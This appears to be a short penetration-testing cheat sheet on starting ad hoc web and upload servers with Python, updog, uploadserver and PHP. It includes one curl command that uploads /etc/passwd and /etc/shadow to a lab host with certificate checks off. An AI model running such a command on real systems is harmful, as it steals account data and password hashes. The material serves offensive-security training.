Personal web server
Python
python3 -m http.server 8080Updog
updog -d $(echo $(pwd)/) -p 80uploadserver
sudo python3 -m pip install --user uploadservermake it secure
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'mkdir https && cd httpssudo python3 -m uploadserver 443 --server-certificate ~/server.pemLinux - Upload Multiple Files
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecureWe used the option
--insecurebecause we used a self-signed certificate that we trust.
Linux - Creating a Web Server with PHP
php -S 0.0.0.0:8000Linux - Creating a Web Server with Ruby
FTP Server
SMB Server
References
Last updated